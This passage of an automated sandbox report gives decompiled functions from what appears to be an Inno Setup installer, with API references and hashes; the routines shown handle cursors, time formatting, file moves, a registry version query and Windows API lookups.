                                                          				E004075E4(0x48ef34, 0xfff, _v16);
                                                          				_v12 = SetCursor(LoadCursorA(0, 0x7f02));
                                                          				_push(_t49);
                                                          				_push(0x4565e8);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t51;
                                                          				E00455FB0(0);
                                                          				E00456394(3, 0xfff, 0x2008);
                                                          				E00455FB0(0);
                                                          				_pop(_t45);
                                                          				 *[fs:eax] = _t45;
                                                          				_push(E004565EF);
                                                          				return SetCursor(_v12);
                                                          			}











                                                          0x00456531
                                                          0x00456533
                                                          0x0045653b
                                                          0x0045653e
                                                          0x00456540
                                                          0x00456545
                                                          0x00456546
                                                          0x0045654b
                                                          0x0045654e
                                                          0x00456556
                                                          0x0045655f
                                                          0x00456570
                                                          0x0045657a
                                                          0x0045658c
                                                          0x004565a3
                                                          0x004565a8
                                                          0x004565a9
                                                          0x004565ae
                                                          0x004565b1
                                                          0x004565b6
                                                          0x004565c5
                                                          0x004565cc
                                                          0x004565d3
                                                          0x004565d6
                                                          0x004565d9
                                                          0x004565e7

                                                          APIs
                                                          • LoadCursorA.USER32 ref: 00456598
                                                          • SetCursor.USER32(00000000,00000000,00007F02,00000000,00456674,?,?,00000000,0048D628), ref: 0045659E
                                                            • Part of subcall function 00455FB0: CloseHandle.KERNEL32(00000000), ref: 00455FE0
                                                            • Part of subcall function 00455FB0: WaitForSingleObject.KERNEL32(00000000,00002710,00000000), ref: 0045600A
                                                            • Part of subcall function 00455FB0: GetExitCodeProcess.KERNEL32 ref: 0045601A
                                                            • Part of subcall function 00455FB0: CloseHandle.KERNEL32(00000000,00000000,?,00000000,00002710,00000000,00000001,00000000,00002710,00000000), ref: 00456060
                                                            • Part of subcall function 00455FB0: Sleep.KERNEL32(000000FA,00000000,00000000,?,00000000,00002710,00000000,00000001,00000000,00002710,00000000), ref: 00456079
                                                            • Part of subcall function 00455FB0: TerminateProcess.KERNEL32(00000000,00000001,00000000,00002710,00000000), ref: 00455FFD
                                                          • SetCursor.USER32(00000000,004565EF,00000000,00000000,00007F02,00000000,00456674,?,?,00000000,0048D628), ref: 004565E2
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Cursor$CloseHandleProcess$CodeExitLoadObjectSingleSleepTerminateWait
                                                          • String ID: 4H
                                                          • API String ID: 268187739-4226881615
                                                          • Opcode ID: e4556b50893848068e3f52c2dbfe31f33caad1037656d7fe57ca58f9ab8670ff
                                                          • Instruction ID: 2fc0c4d5752764fadf2d93e733949e5f3b4dbb560107f4a19c3cfbd1c4fcb011
                                                          • Opcode Fuzzy Hash: e4556b50893848068e3f52c2dbfe31f33caad1037656d7fe57ca58f9ab8670ff
                                                          • Instruction Fuzzy Hash: 0711CA30B143446FDB01BFB68C52A5E7BA9DB49304F8289BFB904D7782D63C99049B58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00466E18(FILETIME* __eax, void* __edx) {
                                                          				char _v8;
                                                          				signed int _v12;
                                                          				char _v16;
                                                          				signed int _v20;
                                                          				char _v24;
                                                          				signed int _v28;
                                                          				char _v32;
                                                          				signed int _v36;
                                                          				char _v40;
                                                          				signed int _v44;
                                                          				char _v48;
                                                          				signed int _v52;
                                                          				char _v56;
                                                          				signed int _v60;
                                                          				struct _SYSTEMTIME _v76;
                                                          				struct _FILETIME _v84;
                                                          				void* _t41;
                                                          				struct _FILETIME* _t46;
                                                          
                                                          				_t41 = __edx;
                                                          				FileTimeToLocalFileTime(__eax, _t46);
                                                          				if(FileTimeToSystemTime( &_v84,  &_v76) == 0) {
                                                          					return E004035DC(_t41, "(invalid)");
                                                          				}
                                                          				_v60 = _v76.wYear & 0x0000ffff;
                                                          				_v56 = 0;
                                                          				_v52 = _v76.wMonth & 0x0000ffff;
                                                          				_v48 = 0;
                                                          				_v44 = _v76.wDay & 0x0000ffff;
                                                          				_v40 = 0;
                                                          				_v36 = _v76.wHour & 0x0000ffff;
                                                          				_v32 = 0;
                                                          				_v28 = _v76.wMinute & 0x0000ffff;
                                                          				_v24 = 0;
                                                          				_v20 = _v76.wSecond & 0x0000ffff;
                                                          				_v16 = 0;
                                                          				_v12 = _v76.wMilliseconds & 0x0000ffff;
                                                          				_v8 = 0;
                                                          				return E00407B08("%.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u", 6,  &_v60, _t41);
                                                          			}





















                                                          0x00466e1c
                                                          0x00466e20
                                                          0x00466e36
                                                          0x00000000
                                                          0x00466eb7
                                                          0x00466e3e
                                                          0x00466e42
                                                          0x00466e4c
                                                          0x00466e50
                                                          0x00466e5a
                                                          0x00466e5e
                                                          0x00466e68
                                                          0x00466e6c
                                                          0x00466e76
                                                          0x00466e7a
                                                          0x00466e84
                                                          0x00466e88
                                                          0x00466e92
                                                          0x00466e96
                                                          0x00000000

                                                          APIs
                                                          • FileTimeToLocalFileTime.KERNEL32(00000001), ref: 00466E20
                                                          • FileTimeToSystemTime.KERNEL32(?,?,00000001), ref: 00466E2F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Time$File$LocalSystem
                                                          • String ID: %.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u$(invalid)
                                                          • API String ID: 1748579591-1013271723
                                                          • Opcode ID: 9b80f6908389a4ec1adb37550fd81e6d3ed6f3594ddd3f6ba781c1560d119da9
                                                          • Instruction ID: a0a1dcbdd902da466c818bcaf7a9e53ea01babda05f126a3ba8e4cb0db95ffd4
                                                          • Opcode Fuzzy Hash: 9b80f6908389a4ec1adb37550fd81e6d3ed6f3594ddd3f6ba781c1560d119da9
                                                          • Instruction Fuzzy Hash: CB11F8A450C3919AD340CF6AC44032BBAE4AB89714F04492EF8D8D6381E77AC948DBB7
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 66%
                                                          			E00452546(void* __ecx, void* __edx, void* __edi, void* __esi) {
                                                          				void* _t10;
                                                          				void* _t12;
                                                          				void* _t25;
                                                          				intOrPtr _t32;
                                                          				intOrPtr _t33;
                                                          				void* _t39;
                                                          
                                                          				_t38 = __esi;
                                                          				_t37 = __edi;
                                                          				_t26 = __ecx;
                                                          				_push(0x20);
                                                          				_t25 = E00403880( *((intOrPtr*)(_t39 - 0x10)));
                                                          				_push(_t25);
                                                          				L00405BE4();
                                                          				_t10 = E00407064( *((intOrPtr*)(_t39 - 0x10)));
                                                          				_t40 = _t10;
                                                          				if(_t10 == 0) {
                                                          					E00451B58("DeleteFile", _t25, __ecx, __edi, __esi, _t40);
                                                          				}
                                                          				_push(_t25);
                                                          				_t12 = E00403880( *((intOrPtr*)(_t39 - 0x14)));
                                                          				_push(_t12);
                                                          				L00405B7C();
                                                          				_t41 = _t12;
                                                          				if(_t12 == 0) {
                                                          					E00451B58("MoveFile", _t25, _t26, _t37, _t38, _t41);
                                                          				}
                                                          				_pop(_t32);
                                                          				 *[fs:eax] = _t32;
                                                          				_pop(_t33);
                                                          				 *[fs:eax] = _t33;
                                                          				_push(E0045263D);
                                                          				E00403568(_t39 - 0x30, 2);
                                                          				E00403568(_t39 - 0x24, 2);
                                                          				return E00403568(_t39 - 0x14, 5);
                                                          			}









                                                          0x00452546
                                                          0x00452546
                                                          0x00452546
                                                          0x00452546
                                                          0x00452550
                                                          0x00452552
                                                          0x00452553
                                                          0x0045255b
                                                          0x00452560
                                                          0x00452562
                                                          0x00452569
                                                          0x00452569
                                                          0x0045256e
                                                          0x00452572
                                                          0x00452577
                                                          0x00452578
                                                          0x0045257d
                                                          0x0045257f
                                                          0x00452586
                                                          0x00452586
                                                          0x0045258d
                                                          0x00452590
                                                          0x00452603
                                                          0x00452606
                                                          0x00452609
                                                          0x00452616
                                                          0x00452623
                                                          0x00452635

                                                          APIs
                                                          • 6CAA69D0.KERNEL32(00000000,00000020), ref: 00452553
                                                            • Part of subcall function 00407064: 6CAA5F60.KERNEL32(00000000,0048D628,0048AE72,00000000,0048AEC7,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 0040706F
                                                          • 6CAA6060.KERNEL32(00000000,00000000,00000000,00000020), ref: 00452578
                                                            • Part of subcall function 00451B58: GetLastError.KERNEL32(00000000,00451BF0,?,?,00000000,00000000,00000005,00000000,00452636,?,?,00000000,0048D628,00000004,00000000,00000000), ref: 00451B7C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A6060ErrorLast
                                                          • String ID: DeleteFile$MoveFile
                                                          • API String ID: 2785980116-139070271
                                                          • Opcode ID: 931e543ea527a1970d1db37da824c1a576dc17bd9220667917c42d538250b66a
                                                          • Instruction ID: 864a50f532196e3faefd5bce3943ef414dcc20f533096cf5cc29bef6dc39f3fe
                                                          • Opcode Fuzzy Hash: 931e543ea527a1970d1db37da824c1a576dc17bd9220667917c42d538250b66a
                                                          • Instruction Fuzzy Hash: BEF062716041446AE700FBB6D952A6E67E8EB45306F60447BFC00B7283EA7CAD098929
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00477FB4(void* __eflags) {
                                                          				void* _v8;
                                                          				int _v12;
                                                          				int _v16;
                                                          				char _v20;
                                                          				void* _t13;
                                                          
                                                          				_t13 = E0042DD88(0, "System\\CurrentControlSet\\Control\\Windows", 0x80000002,  &_v8, 1, 0);
                                                          				if(_t13 == 0) {
                                                          					_v12 = 4;
                                                          					if(RegQueryValueExA(_v8, "CSDVersion", 0,  &_v16,  &_v20,  &_v12) == 0 && _v16 == 4 && _v12 == 4) {
                                                          						 *0x4ae264 = _v20;
                                                          					}
                                                          					return RegCloseKey(_v8);
                                                          				}
                                                          				return _t13;
                                                          			}








                                                          0x00477fce
                                                          0x00477fd5
                                                          0x00477fd7
                                                          0x00477ffc
                                                          0x0047800e
                                                          0x0047800e
                                                          0x00000000
                                                          0x00478018
                                                          0x00478020

                                                          APIs
                                                            • Part of subcall function 0042DD88: 6CAA6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,00477FD3,?,00000001,?,?,00477FD3,?,00000001,00000000), ref: 0042DDA4
                                                          • RegQueryValueExA.ADVAPI32(?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 00477FF5
                                                          • RegCloseKey.ADVAPI32(?,?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 00478018
                                                          Strings
                                                          • System\CurrentControlSet\Control\Windows, xrefs: 00477FC2
                                                          • CSDVersion, xrefs: 00477FEC
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A6790CloseQueryValue
                                                          • String ID: CSDVersion$System\CurrentControlSet\Control\Windows
                                                          • API String ID: 3541725989-1910633163
                                                          • Opcode ID: e9599dd1cbda872ee6d3e8dcac9cc3d6348620525bf40e9fdcbfbe4de07a8b80
                                                          • Instruction ID: 8567f7656149d53deaf9202cd5905e416e84dda15cc376e9f094ee37e6a7a949
                                                          • Opcode Fuzzy Hash: e9599dd1cbda872ee6d3e8dcac9cc3d6348620525bf40e9fdcbfbe4de07a8b80
                                                          • Instruction Fuzzy Hash: D3F08675E40249A6DF10DAD08C49BDF73BCAB04314F10856AEA18E7290EA399A04CB69
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 77%
                                                          			E0042D90C(void* __eax) {
                                                          				char _v276;
                                                          				struct HINSTANCE__* _t5;
                                                          				void* _t8;
                                                          				void* _t12;
                                                          
                                                          				_t8 = __eax;
                                                          				E00403548(__eax);
                                                          				_push("GetSystemWow64DirectoryA");
                                                          				_t5 = GetModuleHandleA("kernel32.dll");
                                                          				_push(_t5);
                                                          				L00405AA4();
                                                          				if(_t5 != 0) {
                                                          					_t5 = _t5->i( &_v276, 0x105);
                                                          					if(_t5 > 0 && _t5 < 0x105) {
                                                          						return E004036A4(_t8, 0x105, _t12);
                                                          					}
                                                          				}
                                                          				return _t5;
                                                          			}







                                                          0x0042d913
                                                          0x0042d917
                                                          0x0042d91c
                                                          0x0042d926
                                                          0x0042d92b
                                                          0x0042d92c
                                                          0x0042d933
                                                          0x0042d93f
                                                          0x0042d943
                                                          0x00000000
                                                          0x0042d955
                                                          0x0042d943
                                                          0x0042d961

                                                          APIs
                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemWow64DirectoryA,?,0045224E,00000000,004522F1,?,?,00000000,00000000,00000000,00000000,00000000,?,004525BD,00000000), ref: 0042D926
                                                          • 6CAA5550.KERNEL32(00000000,kernel32.dll,GetSystemWow64DirectoryA,?,0045224E,00000000,004522F1,?,?,00000000,00000000,00000000,00000000,00000000,?,004525BD), ref: 0042D92C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550HandleModule
                                                          • String ID: GetSystemWow64DirectoryA$kernel32.dll
                                                          • API String ID: 3262523333-4063490227
                                                          • Opcode ID: 953cd9359150011a28b5a6fefe3be20ce55d635a1f8f1b381f2918910b615c97
                                                          • Instruction ID: b73a12c57fec50b88a149f9903b2a7b01e5abfdc9f4cfe2a16602de5fbde675e
                                                          • Opcode Fuzzy Hash: 953cd9359150011a28b5a6fefe3be20ce55d635a1f8f1b381f2918910b615c97
                                                          • Instruction Fuzzy Hash: 1EE020A0B44B1222D70061BA1C8375B114D4B84759F90053F755CE53C6DDFCD5C84A5D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 64%
                                                          			E0048B084() {
                                                          				struct HINSTANCE__* _t1;
                                                          
                                                          				_push("DisableProcessWindowsGhosting");
                                                          				_t1 = GetModuleHandleA("user32.dll");
                                                          				_push(_t1);
                                                          				L00405AA4();
                                                          				if(_t1 != 0) {
                                                          					return _t1->i();
                                                          				}
                                                          				return _t1;
                                                          			}




                                                          0x0048b084
                                                          0x0048b08e
                                                          0x0048b093
                                                          0x0048b094
                                                          0x0048b09b
                                                          0x00000000
                                                          0x0048b09d
                                                          0x0048b09f

                                                          APIs
                                                          • GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,0048B2FB,00000001,00000000,0048B31F), ref: 0048B08E
                                                          • 6CAA5550.KERNEL32(00000000,user32.dll,DisableProcessWindowsGhosting,0048B2FB,00000001,00000000,0048B31F), ref: 0048B094
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550HandleModule
                                                          • String ID: DisableProcessWindowsGhosting$user32.dll
                                                          • API String ID: 3262523333-834958232
                                                          • Opcode ID: adad3af57262af8e9722c6bc9c726fb3704f590f70ba80362fdd7e7365ad03bb
                                                          • Instruction ID: d117a5e3ccb81b925144f3eb5da2a2d2dbb0f339c2aa8ba8c1134fc3fde081d3
                                                          • Opcode Fuzzy Hash: adad3af57262af8e9722c6bc9c726fb3704f590f70ba80362fdd7e7365ad03bb
                                                          • Instruction Fuzzy Hash: 43B09240341B09188C6232F20C42B0F0048CC467087300E273430E51D2EFAC91004AAD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 93%
                                                          			E00413F10(intOrPtr* __eax, void* __ecx, signed int __edx) {
                                                          				intOrPtr* _t20;
                                                          				intOrPtr _t22;
                                                          				struct HICON__* _t24;
                                                          				intOrPtr _t25;
                                                          				intOrPtr _t27;
                                                          				intOrPtr _t28;
                                                          				struct HWND__* _t30;
                                                          				intOrPtr _t31;
                                                          				intOrPtr _t32;
                                                          				intOrPtr _t34;
                                                          				intOrPtr _t43;
                                                          				struct HWND__* _t44;
                                                          				intOrPtr _t45;
                                                          				intOrPtr _t47;
                                                          				intOrPtr _t51;
                                                          				intOrPtr* _t54;
                                                          				void* _t62;
                                                          				void* _t71;
                                                          				intOrPtr _t72;
                                                          				intOrPtr* _t73;
                                                          				void* _t79;
                                                          
                                                          				_push(__ecx);
                                                          				_t54 = __eax;
                                                          				if( *0x48d5f8 != 0) {
                                                          					L3:
                                                          					if( *0x48d5f8 == 0) {
                                                          						_t78 =  *0x48d5fc;
                                                          						if( *0x48d5fc != 0) {
                                                          							_t43 =  *0x48d5e8; // 0x0
                                                          							_t44 = GetDesktopWindow();
                                                          							_t45 =  *0x48d5fc; // 0x0
                                                          							E00418F80(_t45, _t44, _t78, _t43);
                                                          						}
                                                          					}
                                                          					 *0x48d5f8 = 1;
                                                          					_t72 = E00413EB8(_t54, _t73);
                                                          					_t79 = _t72 -  *0x48d5d8; // 0x0
                                                          					if(_t79 != 0) {
                                                          						E00413EDC(1);
                                                          						 *0x48d5d8 = _t72;
                                                          						 *0x48d5dc =  *_t73;
                                                          						 *0x48d5ec =  *_t54;
                                                          						 *0x48d5f0 =  *((intOrPtr*)(_t54 + 4));
                                                          						E00413EDC(0);
                                                          					}
                                                          					 *0x48d5ec =  *_t54;
                                                          					 *0x48d5f0 =  *((intOrPtr*)(_t54 + 4));
                                                          					_t62 = E00413EDC(2);
                                                          					_t20 =  *0x48d5d0; // 0x0
                                                          					_t71 =  *((intOrPtr*)( *_t20 + 4))( *((intOrPtr*)(_t54 + 4)));
                                                          					if( *0x48d5fc == 0) {
                                                          						_t22 =  *0x48d62c; // 0x21c0660
                                                          						_t24 = SetCursor(E00423584(_t22, _t71));
                                                          					} else {
                                                          						if(_t72 == 0 || ( *(_t72 + 0x35) & 0x00000020) != 0) {
                                                          							_t25 =  *0x48d5fc; // 0x0
                                                          							E00418F2C(_t25, _t71);
                                                          							_t27 =  *0x48d5fc; // 0x0
                                                          							_t84 =  *((char*)(_t27 + 0x44));
                                                          							if( *((char*)(_t27 + 0x44)) != 0) {
                                                          								_t28 =  *0x48d5fc; // 0x0
                                                          								_t24 = E00419064(_t28,  *((intOrPtr*)(_t54 + 4)),  *_t54, __eflags);
                                                          							} else {
                                                          								_t30 = GetDesktopWindow();
                                                          								_t31 =  *0x48d5fc; // 0x0
                                                          								_t24 = E00418F80(_t31, _t30, _t84,  *((intOrPtr*)(_t54 + 4)));
                                                          							}
                                                          						} else {
                                                          							_t32 =  *0x48d5fc; // 0x0
                                                          							E004190D8(_t32, _t62, __eflags);
                                                          							_t34 =  *0x48d62c; // 0x21c0660
                                                          							_t24 = SetCursor(E00423584(_t34, _t71));
                                                          						}
                                                          					}
                                                          					L16:
                                                          					return _t24;
                                                          				}
                                                          				_t47 =  *0x48d5e4; // 0x0
                                                          				asm("cdq");
                                                          				if((_t47 -  *__eax ^ __edx) - __edx >= 5) {
                                                          					goto L3;
                                                          				}
                                                          				_t51 =  *0x48d5e8; // 0x0
                                                          				asm("cdq");
                                                          				_t24 = (_t51 -  *((intOrPtr*)(__eax + 4)) ^ __edx) - __edx;
                                                          				if(_t24 < 5) {
                                                          					goto L16;
                                                          				}
                                                          				goto L3;
                                                          			}
























                                                          0x00413f13
                                                          0x00413f14
                                                          0x00413f1d
                                                          0x00413f46
                                                          0x00413f4d
                                                          0x00413f4f
                                                          0x00413f56
                                                          0x00413f58
                                                          0x00413f5e
                                                          0x00413f6b
                                                          0x00413f70
                                                          0x00413f70
                                                          0x00413f56
                                                          0x00413f75
                                                          0x00413f85
                                                          0x00413f87
                                                          0x00413f8d
                                                          0x00413f91
                                                          0x00413f96
                                                          0x00413f9f
                                                          0x00413fa6
                                                          0x00413faf
                                                          0x00413fb7
                                                          0x00413fb7
                                                          0x00413fbe
                                                          0x00413fc7
                                                          0x00413fd8
                                                          0x00413fdc
                                                          0x00413fe6
                                                          0x00413fef
                                                          0x0041405e
                                                          0x00414069
                                                          0x00413ff1
                                                          0x00413ff3
                                                          0x00413ffd
                                                          0x00414002
                                                          0x00414007
                                                          0x0041400c
                                                          0x00414010
                                                          0x00414030
                                                          0x00414035
                                                          0x00414012
                                                          0x00414016
                                                          0x0041401f
                                                          0x00414024
                                                          0x00414024
                                                          0x0041403c
                                                          0x0041403c
                                                          0x00414041
                                                          0x00414049
                                                          0x00414054
                                                          0x00414054
                                                          0x00413ff3
                                                          0x0041406e
                                                          0x00414072
                                                          0x00414072
                                                          0x00413f1f
                                                          0x00413f26
                                                          0x00413f2e
                                                          0x00000000
                                                          0x00000000
                                                          0x00413f30
                                                          0x00413f38
                                                          0x00413f3b
                                                          0x00413f40
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000

                                                          APIs
                                                          • GetDesktopWindow.USER32 ref: 00413F5E
                                                          • GetDesktopWindow.USER32 ref: 00414016
                                                            • Part of subcall function 004190D8: 6F64B5E0.COMCTL32(00000000,?,00414046,?,?,?,?,00413D0B,00000000,00413D1E), ref: 004190F4
                                                            • Part of subcall function 004190D8: ShowCursor.USER32(00000001,00000000,?,00414046,?,?,?,?,00413D0B,00000000,00413D1E), ref: 00419111
                                                          • SetCursor.USER32(00000000,?,?,?,?,00413D0B,00000000,00413D1E), ref: 00414054
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CursorDesktopWindow$Show
                                                          • String ID:
                                                          • API String ID: 2074268717-0
                                                          • Opcode ID: 25ba4b85cec384c5701c6ab5106f769d84e60ee4a5ec3c79ad380cac1544be52
                                                          • Instruction ID: e80c0aa6294f426bf32ed5d74b4b373c625defcc8174772c15f03ec99229f14a
                                                          • Opcode Fuzzy Hash: 25ba4b85cec384c5701c6ab5106f769d84e60ee4a5ec3c79ad380cac1544be52
                                                          • Instruction Fuzzy Hash: 32412D70A01210AFC704EF29E9D4B597BE5AB89318B14887FE905CB3A5C638EC81CB5C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00408C38(intOrPtr* __eax, void* __edx, void* __eflags) {
                                                          				char _v272;
                                                          				char _v276;
                                                          				intOrPtr _v280;
                                                          				char _v284;
                                                          				intOrPtr _v288;
                                                          				char _v292;
                                                          				intOrPtr _v296;
                                                          				char _v300;
                                                          				char* _v304;
                                                          				char _v308;
                                                          				char _v312;
                                                          				char _v568;
                                                          				char _v632;
                                                          				char _v636;
                                                          				char _v696;
                                                          				void* __edi;
                                                          				struct HINSTANCE__* _t29;
                                                          				struct HINSTANCE__* _t38;
                                                          				struct HINSTANCE__* _t49;
                                                          				void* _t61;
                                                          				intOrPtr _t62;
                                                          				intOrPtr _t73;
                                                          				intOrPtr* _t74;
                                                          				void* _t75;
                                                          				void* _t76;
                                                          
                                                          				_t75 = __edx;
                                                          				_t74 = __eax;
                                                          				_t29 =  *0x48d014; // 0x400000
                                                          				GetModuleFileNameA(_t29,  &_v568, 0x100);
                                                          				E00407590(_t76, 0x3f, E004076D4( &_v568, 0x5c) + 1);
                                                          				_t62 = 0x408db4;
                                                          				_t73 = 0x408db4;
                                                          				if(E00402CE8(_t74, 0x406464) != 0) {
                                                          					_t62 = E00403880( *((intOrPtr*)(_t74 + 4)));
                                                          					_t61 = E004074D4(_t62, 0x408db4);
                                                          					if(_t61 != 0 &&  *((char*)(_t62 + _t61 - 1)) != 0x2e) {
                                                          						_t73 = 0x408db8;
                                                          					}
                                                          				}
                                                          				_t38 =  *0x48d014; // 0x400000
                                                          				LoadStringA(_t38, 0xff9e,  &_v632, 0x40);
                                                          				E00402BE8( *_t74,  &_v272);
                                                          				_v312 =  &_v272;
                                                          				_v308 = 4;
                                                          				_v304 =  &_v696;
                                                          				_v300 = 6;
                                                          				_v296 = E00408C2C(_t75);
                                                          				_v292 = 5;
                                                          				_v288 = _t62;
                                                          				_v284 = 6;
                                                          				_v280 = _t73;
                                                          				_v276 = 6;
                                                          				E00407AD4( &_v568,  &_v312,  &_v632, 4);
                                                          				_t49 =  *0x48d014; // 0x400000
                                                          				LoadStringA(_t49, 0xff9f,  &_v636, 0x40);
                                                          				if( *0x48d035 == 0) {
                                                          					return MessageBoxA(0,  &_v568,  &_v632, 0x2010);
                                                          				} else {
                                                          					E0040515C(0x48d208,  &_v568);
                                                          					return E00402710(E004050DF(),  &_v312,  &_v568);
                                                          				}
                                                          			}




























                                                          0x00408c42
                                                          0x00408c44
                                                          0x00408c53
                                                          0x00408c59
                                                          0x00408c76
                                                          0x00408c7b
                                                          0x00408c80
                                                          0x00408c93
                                                          0x00408c9d
                                                          0x00408ca1
                                                          0x00408ca8
                                                          0x00408cb1
                                                          0x00408cb1
                                                          0x00408ca8
                                                          0x00408cc2
                                                          0x00408cc8
                                                          0x00408cd8
                                                          0x00408ce4
                                                          0x00408ceb
                                                          0x00408cf7
                                                          0x00408cfe
                                                          0x00408d0d
                                                          0x00408d14
                                                          0x00408d1c
                                                          0x00408d23
                                                          0x00408d2b
                                                          0x00408d32
                                                          0x00408d4c
                                                          0x00408d5d
                                                          0x00408d63
                                                          0x00408d6f
                                                          0x00000000
                                                          0x00408d71
                                                          0x00408d7d
                                                          0x00000000
                                                          0x00408d87

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
